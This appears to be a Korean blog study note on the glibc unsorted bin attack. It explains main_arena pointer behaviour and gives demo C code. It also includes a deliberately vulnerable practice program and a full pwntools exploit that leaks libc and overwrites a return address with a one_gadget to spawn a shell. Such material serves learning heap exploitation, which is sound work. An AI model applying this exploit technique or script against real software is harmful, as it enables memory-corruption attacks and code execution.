unsorted bin: small chunk, large chunk 크기의 청크들이 재할당을 위해 사용되는 bin
공격 방법: 해제된 BK 포인터를 조작해서 원하는 영역에 main_arena 영역의 주소를 쓸 수 있는 공격 기법
fastbin 크기가 아닌 청크를 처음 해제하면, FD와 BK 포인터에 main_arena+88 주소가 적힌다.
같은 크기로 재할당 시 해당 포인터의 FD를 찾아서 해당 주소에 재할당해준다.
예제1
(1) 힙 2개 할당
- 힙 해제 시 top chunk와 합쳐지지 않게 하기 위해 힙 2개를 할당한다.
(2) 힙 1개 해제
해제된 청크의 FD와 BK 포인터에 main_arena+88 주소가 적힌다.
이후 힙을 재할당하면 0x602000 영역의 힙 청크를 재할당해준다.
해당 포인터를 조작하면 원하는 주소+0x10 위치에 힙을 할당받을 수 있다.
p main_arena로 main_arena.bins[0]을 확인해보면 해제된 청크의 주소인 0x602000가 저장되어 있는 것을 확인할 수 있다.
unsorted bin 처리 코드:
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at (M, 1))
for (;; )
{
int iters = 0;
while (( victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
...
bck->fd = unsorted_chunks (av);
}
}
unsorted_chunks는 main_arena.bins[0]에 저장된 청크이다. (unsorted bin)
victim은 unsorted_chunks 위치의 포인터의 BK 값을 저장한다.
victim = 0x00007ffff7dd1b78
bck = victim->bk = 0x602000
bck->fd = [0x602000+0x10]
청크 재할당 결과
*0x7ffff7dd1b88 = 0x7ffff7dd1b78
따라서 victim을 수정할 수 있으면, unsorted chunks인 main_arena 영역 주소를 쓸 수 있다.
예제2
#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
long target;
int main(void){
fprintf(stderr, "target : 0x%lx\n", target);
long *ptr = malloc(ALLOC_SIZE);
malloc(ALLOC_SIZE);
free(ptr);
ptr[1] = (long)&target - 16;
malloc(ALLOC_SIZE);
fprintf(stderr, "target : 0x%lx\n", target);
}
(1) 힙 2개 할당
- top chunk와 합쳐지지 않게 하기 위해 2개 할당한다.
- 한 힙 청크에 대한 포인터는 ptr에 저장한다.
(2) ptr에 대한 힙 청크 해제
(3) 해제한 힙 청크의 BK 포인터에 target-0x10 저장
- target에 main_arena 영역 주소 적기 위해 target-0x10을 저장한다.
(4) target 값 확인해보면 main_arena 영역 주소가 적혀있다.
예제3
// gcc -o unsorted unsorted.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int main()
{
char buf[256];
char *ptr[10];
int ch, idx;
int i = 0;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i >= 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(0x100);
printf("Data: ");
read(0, ptr[i], 0x100);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
printf("idx: ");
scanf("%d", &idx);
printf("data: ");
read(0, ptr[idx], 0x100);
break;
case 4:
printf("Name: %s\n",name);
break;
case 5:
read(0, buf, 300);
return 0;
default:
break;
}
}
return 0;
}
익스플로잇 시나리오
해제된 청크에 대한 포인터를 초기화하지 않기 때문에 해제된 힙의 BK를 수정할 수 있다.
(1) 힙 청크 2개 할당(1번 메뉴)
- small chunk 이상 청크 2개 할당한다.
- top chunk와 합쳐지지 않게 하기 위해 2개 할당한다.
(2) 청크 1개 해제(2번 메뉴)
- main_arena.bins[0]에 해제된 청크에 대한 포인터 주소가 적힌다.
- 해제된 청크의 FD와 BK에 main_arena+88이 적힌다.
(3) 3번 메뉴 통해 데이터 수정해서 BK를 name-0x10으로 바꾼다.
- 4번 메뉴에서 name을 출력해주므로 name에 main_arena 영역 주소를 적어 leak하기 위해
- name-0x10을 적고 해제된 힙 크기를 할당 시 name에 main_arena 영역의 주소가 적힌다.
(4) 4번 메뉴 통해 name 값을 출력해서 libc leak 진행한다.
- libc leak 후 one gadget 주소 구한다.
(5) 5번 메뉴에서 return address를 one gadget으로 덮고 return 하면 쉘 실행할 수 있다.
익스 코드
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./unsorted")
elf = ELF("./unsorted")
name = elf.symbols['name']
def add(data):
p.sendlineafter("> ", '1')
p.sendafter("Data: ", data)
def free(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("idx: ", str(idx))
def edit(idx, data):
p.sendlineafter("> ", '3')
p.sendlineafter("idx: ", str(idx))
p.sendafter("data: ", data)
def print_name():
p.sendlineafter("> ", '4')
def overflow(data):
p.sendlineafter("> ", '5')
p.send(data)
add('A'*8)
add('B'*8)
free(0)
edit(0, 'A'*8 + p64(name-0x10))
add('C'*8)
print_name()
p.recvuntil("Name: ")
leak = u64(p.recvuntil("\x7f") + '\x00\x00')
log.info("leak: "+hex(leak))
libcbase = leak - 0x3c4b78
one_gadget = libcbase + 0x45216
#gdb.attach(p)
overflow('A'*280 + p64(one_gadget))
p.interactive()
Ubuntu 18 버전에서 Unsorted bin Attack
18버전에서 0x10~0x400까지의 청크는 크기에 상관없이 tcache에서 관리되고, 그 이상은 main_arena에서 관리된다.
따라서 힙 청크를 0x420 바이트 이상 할당한 후 해제하면 해제한 청크의 fd와 bk에 main_arena 영역의 주소가 적힌다.
이 주소를 leak하면 libc leak이 가능하다.
Unsafe Unlink (0) | 2020.06.12 |
---|---|
Poison NULL Byte (0) | 2020.06.12 |
Tcache House of Spirit (0) | 2020.06.11 |
fastbin dup (0) | 2020.06.10 |
Tcache Dup (0) | 2020.06.10 |